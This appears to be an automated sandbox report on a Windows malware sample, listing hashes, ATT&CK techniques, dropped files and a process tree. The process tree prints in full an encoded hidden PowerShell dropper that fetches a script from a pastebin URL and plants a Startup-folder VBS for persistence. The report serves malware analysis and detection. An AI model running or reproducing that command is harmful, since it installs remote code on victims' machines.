9a228e0b3c3045347437fea03f4f54029f5ae0d98d48c3e84683a67c4cd36960

Analysis

max time kernel
15s
max time network
20s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
30-12-2024 20:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe
Size

401KB
MD5

a07d9930e3a888839daf68ca4486aa4c
SHA1

d608ec0dd8f778f5820fb33720256da28e0db19b
SHA256

c64a54b3d28b6e21f228ce31252ed060cbc4df936ea074bb4926b793dbc97d93
SHA512

bda8cafa576e8e1e30ec0b267a66cfb01c0624339f49ef3dc5901d9ad39b8ca94d813141de49a52956112641b73273121c3c0349e695439748ddfabe71606b7a
SSDEEP

12288:7ANwRo+mv8QD4+0V16caYp4SfTgM/gBNkcbma:7AT8QE+kvlfTgTBNkcX

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pastebin.com/raw/UQ6WhkQb

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	2712	powershell.exe
8	2196	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2244	powershell.exe
2452	powershell.exe
2712	powershell.exe
2196	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemLogin32Bits89.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemLogin32Bits89.vbs	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2696	Setup.exe

Loads dropped DLL 4 IoCs

pid	Process
840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe
840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe
840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe
840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
5	pastebin.com
6	pastebin.com
7	pastebin.com
8	pastebin.com

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Adobe Systems Incorporated\Setup.exe\Uninstall.ini	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe
File opened for modification	C:\Program Files (x86)\Adobe Systems Incorporated\Setup.exe\Setup.exe	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe
File opened for modification	C:\Program Files (x86)\Adobe Systems Incorporated\Setup.exe\Uninstall.exe	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2712	powershell.exe
2196	powershell.exe
2244	powershell.exe
2452	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeDebugPrivilege	2244	powershell.exe
Token: SeDebugPrivilege	2452	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2696	Setup.exe
2696	Setup.exe
2696	Setup.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 840 wrote to memory of 2944	840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe	29
PID 840 wrote to memory of 2944	840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe	29
PID 840 wrote to memory of 2944	840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe	29
PID 840 wrote to memory of 2944	840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe	29
PID 2944 wrote to memory of 2828	2944	WScript.exe	30
PID 2944 wrote to memory of 2828	2944	WScript.exe	30
PID 2944 wrote to memory of 2828	2944	WScript.exe	30
PID 2944 wrote to memory of 2828	2944	WScript.exe	30
PID 840 wrote to memory of 2752	840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe	32
PID 840 wrote to memory of 2752	840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe	32
PID 840 wrote to memory of 2752	840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe	32
PID 840 wrote to memory of 2752	840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe	32
PID 2828 wrote to memory of 2712	2828	cmd.exe	33
PID 2828 wrote to memory of 2712	2828	cmd.exe	33
PID 2828 wrote to memory of 2712	2828	cmd.exe	33
PID 2828 wrote to memory of 2712	2828	cmd.exe	33
PID 2752 wrote to memory of 2724	2752	WScript.exe	34
PID 2752 wrote to memory of 2724	2752	WScript.exe	34
PID 2752 wrote to memory of 2724	2752	WScript.exe	34
PID 2752 wrote to memory of 2724	2752	WScript.exe	34
PID 2724 wrote to memory of 2196	2724	cmd.exe	36
PID 2724 wrote to memory of 2196	2724	cmd.exe	36
PID 2724 wrote to memory of 2196	2724	cmd.exe	36
PID 2724 wrote to memory of 2196	2724	cmd.exe	36
PID 840 wrote to memory of 2696	840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe	37
PID 840 wrote to memory of 2696	840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe	37
PID 840 wrote to memory of 2696	840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe	37
PID 840 wrote to memory of 2696	840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe	37
PID 840 wrote to memory of 2696	840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe	37
PID 840 wrote to memory of 2696	840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe	37
PID 840 wrote to memory of 2696	840	C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe	37
PID 2196 wrote to memory of 2244	2196	powershell.exe	39
PID 2196 wrote to memory of 2244	2196	powershell.exe	39
PID 2196 wrote to memory of 2244	2196	powershell.exe	39
PID 2196 wrote to memory of 2244	2196	powershell.exe	39
PID 2712 wrote to memory of 2452	2712	powershell.exe	40
PID 2712 wrote to memory of 2452	2712	powershell.exe	40
PID 2712 wrote to memory of 2452	2712	powershell.exe	40
PID 2712 wrote to memory of 2452	2712	powershell.exe	40

C:\Users\Admin\AppData\Local\Temp\C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe
"C:\Users\Admin\AppData\Local\Temp\C64A54B3D28B6E21F228CE31252ED060CBC4DF936EA074BB4926B793DBC97D93.exe"
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:840
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\RoamingIDXXFGHFTY1.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2944
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\1.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2828
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      Powershell -WindowStyle Hidden -Command "IEX ([System.Text.Encoding]::UTF8.GetString(@(35,82,101,97,100,32,67,111,110,116,101,110,116,32,79,102,32,80,111,119,101,114,83,104,101,108,108,32,70,105,108,101,32,33,13,10,91,83,121,115,116,101,109,46,73,79,46,83,116,114,101,97,109,93,32,36,83,116,114,101,97,109,32,61,32,40,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,79,112,101,110,82,101,97,100,40,34,104,116,116,112,115,58,47,47,112,97,115,116,101,98,105,110,46,99,111,109,47,114,97,119,47,85,81,54,87,104,107,81,98,34,41,13,10,91,83,121,115,116,101,109,46,73,79,46,83,116,114,101,97,109,82,101,97,100,101,114,93,32,36,83,82,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,73,79,46,83,116,114,101,97,109,82,101,97,100,101,114,32,36,83,116,114,101,97,109,13,10,91,83,116,114,105,110,103,93,32,36,82,101,113,32,61,32,36,83,82,46,82,101,97,100,84,111,69,110,100,40,41,13,10,13,10,91,83,121,115,116,101,109,46,84,104,114,101,97,100,105,110,103,46,84,104,114,101,97,100,93,58,58,83,108,101,101,112,40,54,48,48,48,41,13,10,13,10,35,67,114,101,97,116,101,32,80,111,119,101,114,83,104,101,108,108,32,70,105,108,101,32,79,110,32,72,97,114,100,32,68,105,115,107,32,33,13,10,91,83,116,114,105,110,103,93,32,36,84,69,77,80,32,61,32,36,101,110,118,58,84,69,77,80,32,43,32,34,92,34,32,43,32,34,83,121,115,84,114,97,121,46,80,83,49,34,13,10,91,83,121,115,116,101,109,46,73,79,46,70,105,108,101,93,58,58,87,114,105,116,101,65,108,108,84,101,120,116,40,36,84,69,77,80,44,32,36,82,101,113,41,13,10,13,10,35,83,116,97,114,116,117,112,32,73,110,115,116,97,108,108,97,116,105,111,110,13,10,70,117,110,99,116,105,111,110,32,73,78,83,84,65,76,76,40,41,32,123,13,10,32,32,32,32,91,83,116,114,105,110,103,93,32,36,86,66,83,82,117,110,32,61,32,91,83,121,115,116,101,109,46,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,68,101,102,97,117,108,116,46,71,101,116,83,116,114,105,110,103,40,64,40,56,51,44,49,48,49,44,49,49,54,44,51,50,44,55,57,44,57,56,44,49,48,54,44,51,50,44,54,49,44,51,50,44,54,55,44,49,49,52,44,49,48,49,44,57,55,44,49,49,54,44,49,48,49,44,55,57,44,57,56,44,49,48,54,44,49,48,49,44,57,57,44,49,49,54,44,52,48,44,51,52,44,56,55,44,56,51,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,52,54,44,56,51,44,49,48,52,44,49,48,49,44,49,48,56,44,49,48,56,44,51,52,44,52,49,44,49,51,44,49,48,44,55,57,44,57,56,44,49,48,54,44,52,54,44,56,50,44,49,49,55,44,49,49,48,44,51,50,44,51,52,44,56,48,44,49,49,49,44,49,49,57,44,49,48,49,44,49,49,52,44,56,51,44,49,48,52,44,49,48,49,44,49,48,56,44,49,48,56,44,51,50,44,52,53,44,54,57,44,49,50,48,44,49,48,49,44,57,57,44,49,49,55,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,56,48,44,49,49,49,44,49,48,56,44,49,48,53,44,57,57,44,49,50,49,44,51,50,44,56,50,44,49,48,49,44,49,48,57,44,49,49,49,44,49,49,54,44,49,48,49,44,56,51,44,49,48,53,44,49,48,51,44,49,49,48,44,49,48,49,44,49,48,48,44,51,50,44,52,53,44,55,48,44,49,48,53,44,49,48,56,44,49,48,49,44,51,50,44,51,52,44,51,50,44,51,56,44,51,50,44,51,52,44,51,55,44,55,48,44,49,48,53,44,49,48,56,44,49,48,49,44,56,48,44,57,55,44,49,49,54,44,49,48,52,44,51,55,44,51,52,44,52,52,44,51,50,44,52,56,41,41,13,10,32,32,32,32,91,83,121,115,116,101,109,46,73,79,46,70,105,108,101,93,58,58,87,114,105,116,101,65,108,108,84,101,120,116,40,40,91,83,121,115,116,101,109,46,69,110,118,105,114,111,110,109,101,110,116,93,58,58,71,101,116,70,111,108,100,101,114,80,97,116,104,40,55,41,32,43,32,34,92,83,121,115,116,101,109,76,111,103,105,110,51,50,66,105,116,115,56,57,46,118,98,115,34,41,44,32,36,86,66,83,82,117,110,46,82,101,112,108,97,99,101,40,34,37,70,105,108,101,80,97,116,104,37,34,44,32,36,84,69,77,80,41,41,13,10,125,13,10,13,10,91,83,121,115,116,101,109,46,84,104,114,101,97,100,105,110,103,46,84,104,114,101,97,100,93,58,58,83,108,101,101,112,40,49,48,48,48,41,13,10,13,10,35,82,117,110,32,80,111,119,101,114,83,104,101,108,108,32,70,105,108,101,32,33,13,10,73,78,83,84,65,76,76,13,10,73,69,88,32,34,80,111,119,101,114,83,104,101,108,108,46,101,120,101,32,45,87,105,110,100,111,119,83,116,121,108,101,32,72,105,100,100,101,110,32,45,69,120,101,99,117,116,105,111,110,80,111,108,105,99,121,32,82,101,109,111,116,101,83,105,103,110,101,100,32,45,70,105,108,101,32,36,84,69,77,80,34)))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2712
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy RemoteSigned -File C:\Users\Admin\AppData\Local\Temp\SysTray.PS1
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2452
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\IDXDE§!NCTRV12.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\1.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      Powershell -WindowStyle Hidden -Command "IEX ([System.Text.Encoding]::UTF8.GetString(@(35,82,101,97,100,32,67,111,110,116,101,110,116,32,79,102,32,80,111,119,101,114,83,104,101,108,108,32,70,105,108,101,32,33,13,10,91,83,121,115,116,101,109,46,73,79,46,83,116,114,101,97,109,93,32,36,83,116,114,101,97,109,32,61,32,40,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,79,112,101,110,82,101,97,100,40,34,104,116,116,112,115,58,47,47,112,97,115,116,101,98,105,110,46,99,111,109,47,114,97,119,47,85,81,54,87,104,107,81,98,34,41,13,10,91,83,121,115,116,101,109,46,73,79,46,83,116,114,101,97,109,82,101,97,100,101,114,93,32,36,83,82,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,73,79,46,83,116,114,101,97,109,82,101,97,100,101,114,32,36,83,116,114,101,97,109,13,10,91,83,116,114,105,110,103,93,32,36,82,101,113,32,61,32,36,83,82,46,82,101,97,100,84,111,69,110,100,40,41,13,10,13,10,91,83,121,115,116,101,109,46,84,104,114,101,97,100,105,110,103,46,84,104,114,101,97,100,93,58,58,83,108,101,101,112,40,54,48,48,48,41,13,10,13,10,35,67,114,101,97,116,101,32,80,111,119,101,114,83,104,101,108,108,32,70,105,108,101,32,79,110,32,72,97,114,100,32,68,105,115,107,32,33,13,10,91,83,116,114,105,110,103,93,32,36,84,69,77,80,32,61,32,36,101,110,118,58,84,69,77,80,32,43,32,34,92,34,32,43,32,34,83,121,115,84,114,97,121,46,80,83,49,34,13,10,91,83,121,115,116,101,109,46,73,79,46,70,105,108,101,93,58,58,87,114,105,116,101,65,108,108,84,101,120,116,40,36,84,69,77,80,44,32,36,82,101,113,41,13,10,13,10,35,83,116,97,114,116,117,112,32,73,110,115,116,97,108,108,97,116,105,111,110,13,10,70,117,110,99,116,105,111,110,32,73,78,83,84,65,76,76,40,41,32,123,13,10,32,32,32,32,91,83,116,114,105,110,103,93,32,36,86,66,83,82,117,110,32,61,32,91,83,121,115,116,101,109,46,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,68,101,102,97,117,108,116,46,71,101,116,83,116,114,105,110,103,40,64,40,56,51,44,49,48,49,44,49,49,54,44,51,50,44,55,57,44,57,56,44,49,48,54,44,51,50,44,54,49,44,51,50,44,54,55,44,49,49,52,44,49,48,49,44,57,55,44,49,49,54,44,49,48,49,44,55,57,44,57,56,44,49,48,54,44,49,48,49,44,57,57,44,49,49,54,44,52,48,44,51,52,44,56,55,44,56,51,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,52,54,44,56,51,44,49,48,52,44,49,48,49,44,49,48,56,44,49,48,56,44,51,52,44,52,49,44,49,51,44,49,48,44,55,57,44,57,56,44,49,48,54,44,52,54,44,56,50,44,49,49,55,44,49,49,48,44,51,50,44,51,52,44,56,48,44,49,49,49,44,49,49,57,44,49,48,49,44,49,49,52,44,56,51,44,49,48,52,44,49,48,49,44,49,48,56,44,49,48,56,44,51,50,44,52,53,44,54,57,44,49,50,48,44,49,48,49,44,57,57,44,49,49,55,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,56,48,44,49,49,49,44,49,48,56,44,49,48,53,44,57,57,44,49,50,49,44,51,50,44,56,50,44,49,48,49,44,49,48,57,44,49,49,49,44,49,49,54,44,49,48,49,44,56,51,44,49,48,53,44,49,48,51,44,49,49,48,44,49,48,49,44,49,48,48,44,51,50,44,52,53,44,55,48,44,49,48,53,44,49,48,56,44,49,48,49,44,51,50,44,51,52,44,51,50,44,51,56,44,51,50,44,51,52,44,51,55,44,55,48,44,49,48,53,44,49,48,56,44,49,48,49,44,56,48,44,57,55,44,49,49,54,44,49,48,52,44,51,55,44,51,52,44,52,52,44,51,50,44,52,56,41,41,13,10,32,32,32,32,91,83,121,115,116,101,109,46,73,79,46,70,105,108,101,93,58,58,87,114,105,116,101,65,108,108,84,101,120,116,40,40,91,83,121,115,116,101,109,46,69,110,118,105,114,111,110,109,101,110,116,93,58,58,71,101,116,70,111,108,100,101,114,80,97,116,104,40,55,41,32,43,32,34,92,83,121,115,116,101,109,76,111,103,105,110,51,50,66,105,116,115,56,57,46,118,98,115,34,41,44,32,36,86,66,83,82,117,110,46,82,101,112,108,97,99,101,40,34,37,70,105,108,101,80,97,116,104,37,34,44,32,36,84,69,77,80,41,41,13,10,125,13,10,13,10,91,83,121,115,116,101,109,46,84,104,114,101,97,100,105,110,103,46,84,104,114,101,97,100,93,58,58,83,108,101,101,112,40,49,48,48,48,41,13,10,13,10,35,82,117,110,32,80,111,119,101,114,83,104,101,108,108,32,70,105,108,101,32,33,13,10,73,78,83,84,65,76,76,13,10,73,69,88,32,34,80,111,119,101,114,83,104,101,108,108,46,101,120,101,32,45,87,105,110,100,111,119,83,116,121,108,101,32,72,105,100,100,101,110,32,45,69,120,101,99,117,116,105,111,110,80,111,108,105,99,121,32,82,101,109,111,116,101,83,105,103,110,101,100,32,45,70,105,108,101,32,36,84,69,77,80,34)))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2196
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy RemoteSigned -File C:\Users\Admin\AppData\Local\Temp\SysTray.PS1
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2244
- C:\Program Files (x86)\Adobe Systems Incorporated\Setup.exe\Setup.exe
  "C:\Program Files (x86)\Adobe Systems Incorporated\Setup.exe\Setup.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:2696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\1.bat

Filesize
4KB

MD5
22d598ba1d3f03b09d18dfe21e64b19c

SHA1
56bd271a0a61fc114502dd7e795b58fc3b273b0a

SHA256
e478539cd951c493914a6f7a993b6fa6293b5c72a7615dd7e0658c22cdee2890

SHA512
f408b353b2d10a6f71ec156436e8d6925566f331acbd1435f2985d80fc3217465fa560bd7efb9316d7ad6b69783c4d345f3ecd2f927ae6a57c49df7926022c96

Download Submit
C:\Users\Admin\AppData\Local\Temp\1.bat

Filesize
4KB

MD5
05ece7ab2b58d590718f80be511e1c17

SHA1
539845c383223c1d3f821fdc0a58eb54b22384e7

SHA256
51dec5e2d626c499ac4d8000e12dccd067cb1a2ea90806b856a656017d0e96ab

SHA512
9e61564a3399129da215354ed74148a4b0b968c7d740585287d0aa3705d93c0a101d1b5207328b23d217f1ebd470ae7bb6f61d265b7b6f237ab5ad8d0d8a5170

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysTray.PS1

Filesize
48KB

MD5
abd699a0716daa0c22b917cfb9779c28

SHA1
034ae696de85c9d5e320f2602738f7d25d0140e0

SHA256
4ccc0214f88e34a04c7d139c2c158fcd2556e9081aac03895d6cb1366b89d9a7

SHA512
edfbd73fae8985aa6d6e9b3d0b70bb2506dc2393f69f36656f43790a09e623d20e66f7c154b52527b3073c4176296864a4efe8b4a8c62ad69aae324e58a1a0a2

Download Submit
C:\Users\Admin\AppData\RoamingIDXXFGHFTY1.vbs

Filesize
9KB

MD5
b334505e754806046630b066d76d9dee

SHA1
045377a7b3e2498bb9ab9cbf5de21b27962192b6

SHA256
b0d4c199eb7777cdf9f148483ca5aff636c775ad1e913b1b360d16eae3f9f7f7

SHA512
e345dd862781cd49555b237eee31a1c8cc8a0a0132c63afc9c772de08079a3c02da910dcdf889e7ac32b51e4f2843b47b7376b03919ca0e578ec72306fe9276f

Download Submit
C:\Users\Admin\AppData\Roaming\IDXDE§!NCTRV12.vbs

Filesize
9KB

MD5
28ab9ea5140fe88d283b5b750a7f9875

SHA1
b4bf4bafd2aa1a12ac81d535b19aec8e09c6c6eb

SHA256
e5c1706355b56a3212e40c8a1ca619de98e8f39c09333e86dfb7c321a816874e

SHA512
506315412accf409a3867717eaf12e164dcbbea36628a8158990f06d77b1238a1d02d40f999a7c8b3f76a26baba643c3c519ced3e55e4abfbe174abc81a45f03

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
cb68dc42f3c39b90c7bbce03148648ec

SHA1
8e00b7299475653adf0b9e98f5322279b05f15a9

SHA256
aaa081b2bf5410cd4f2f6f43b40684444f9f6b4c6a376adb00a579ecd3fd6d1e

SHA512
ca4415faf7c6fe93c1d640ddb82e7545df6ee8e93df217cee997239d6426bb6a97a70ca76d37f5347ccd695efd76f66d8ba4bd19c8b28ae4a4064fbfd1dd26cb

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemLogin32Bits89.vbs

Filesize
151B

MD5
bfc6822700144b1f647e49b215d35cba

SHA1
11a64fc0013acfd537c8b444251a5afa070e146a

SHA256
73845ebfa1e7ba21b01b653db819cd5bd1e82d36c609bffd679cc8d98c6c8e05

SHA512
11a9c59d4a85cf3b51cf204cf60619663e478450ab477ee244d4af49a54ddef420a1567a85e379fae53bf96bee3577319d1f1f70a189e0b3f4249332d93e11c6

Download Submit
\Program Files (x86)\Adobe Systems Incorporated\Setup.exe\Setup.exe

Filesize
453KB

MD5
96f7cb9f7481a279bd4bc0681a3b993e

SHA1
deaedb5becc6c0bd263d7cf81e0909b912a1afd4

SHA256
d2893c55259772b554cb887d3e2e1f9c67f5cd5abac2ab9f4720dec507cdd290

SHA512
694d2da36df04db25cc5972f7cc180b77e1cb0c3b5be8b69fe7e2d4e59555efb8aa7e50b1475ad5196ca638dabde2c796ae6faeb4a31f38166838cd1cc028149

Download Submit
memory/840-66-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download